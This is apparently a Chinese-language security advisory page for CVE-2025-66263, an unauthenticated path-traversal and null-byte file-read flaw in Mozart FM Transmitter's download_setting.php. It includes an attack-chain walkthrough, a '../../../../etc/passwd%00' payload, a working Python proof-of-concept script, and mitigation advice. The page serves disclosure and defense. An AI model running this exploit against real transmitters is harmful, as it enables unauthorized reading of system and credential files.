IPBUF安全漏洞报告
English
CVE-2025-66263 CVSS 7.5 高危

CVE-2025-66263: Mozart FM Transmitter download_setting.php 任意文件读取漏洞

披露日期: 2025-11-26
来源: b7efe717-a805-47cf-8e9a-921fca0ce0ce

漏洞信息

漏洞编号
CVE-2025-66263
漏洞类型
路径遍历/Null Byte注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter

相关标签

CVE-2025-66263Null Byte注入任意文件读取路径遍历Mozart FM TransmitterPHP 5.3.2未授权访问Web漏洞FM Transmitterdownload_setting.php

漏洞概述

DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter是一款FM发射器设备,其Web管理界面存在未授权任意文件读取漏洞。该漏洞源于download_setting.php文件对用户输入的filename参数处理不当,攻击者可通过构造特殊的文件名参数利用Null Byte注入技术绕过文件扩展名限制,读取服务器上的任意文件。漏洞无需认证即可利用,CVSS评分7.5,属于高危漏洞。攻击者可利用此漏洞读取服务器敏感配置文件、密码文件、源代码等敏感信息,可能导致进一步的系统入侵。

技术细节

漏洞存在于Mozart FM Transmitter的/var/tdf/download_setting.php端点。该端点使用用户可控的$_GET['filename']参数构造文件路径,并强制追加.tgz扩展名。问题在于设备运行的是PHP 5.3.2版本,该版本在5.3.4之前存在Null Byte注入漏洞。当攻击者在文件名后附加%00(Null字节的URL编码)时,PHP和底层C函数会将Null字节视为字符串终止符,忽略后续的.tgz扩展名。攻击者可通过构造filename=../../../../etc/passwd%00这样的路径穿越payload,绕过扩展名限制,读取服务器上的任意文件。由于无需认证即可利用,任何网络可达的攻击者都可发起攻击,读取Web服务器用户可访问的任何文件。

攻击链分析

STEP 1
步骤1
攻击者识别目标Mozart FM Transmitter设备,确认其运行在PHP 5.3.2版本
STEP 2
步骤2
攻击者访问/download_setting.php端点,该端点接受filename参数
STEP 3
步骤3
攻击者构造恶意请求,使用路径遍历序列(../../../../)和目标文件路径
STEP 4
步骤4
在文件名后附加Null字节(%00)以绕过.tgz扩展名限制
STEP 5
步骤5
发送请求后,PHP将%00解析为字符串终止符,忽略后续的.tgz扩展名
STEP 6
步骤6
底层C函数处理时同样将Null字节视为终止符,返回攻击者指定的任意文件内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-66263 PoC - Mozart FM Transmitter Null Byte Injection # Target: /var/tdf/download_setting.php # Vulnerability: Unauthenticated Arbitrary File Read via Null Byte Injection def exploit(target_url, filename): """ Exploit null byte injection to read arbitrary files """ # Construct the exploit URL with null byte injection # The %00 (null byte) will terminate the string in PHP < 5.3.4 # causing the .tgz extension to be ignored params = { 'filename': filename + '%00' } try: print(f"[*] Target: {target_url}") print(f"[*] Requesting file: {filename}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content retrieved ({len(response.content)} bytes)") print("=" * 60) print(response.text[:2000]) # Print first 2000 chars print("=" * 60) return response.content else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-66263.py <target_url> ") print("Example: python cve-2025-66263.py http://target.com/download_setting.php /etc/passwd") sys.exit(1) target = sys.argv[1] filename = sys.argv[2] # Common targets for enumeration exploit(target, filename)

影响范围

Mozart FM Transmitter 30
Mozart FM Transmitter 50
Mozart FM Transmitter 100
Mozart FM Transmitter 300
Mozart FM Transmitter 500
Mozart FM Transmitter 1000
Mozart FM Transmitter 2000
Mozart FM Transmitter 3000
Mozart FM Transmitter 3500
Mozart FM Transmitter 6000
Mozart FM Transmitter 7000
PHP < 5.3.4 (运行环境)

防御指南

临时缓解措施
在厂商发布修复补丁前,可采取以下临时缓解措施:1) 使用Web应用防火墙(WAF)规则阻止包含%00和路径遍历序列的请求;2) 通过网络层访问控制限制对/download_setting.php端点的访问;3) 监控异常的文件读取请求日志;4) 分离敏感文件权限,确保Web服务器用户无法读取系统关键文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表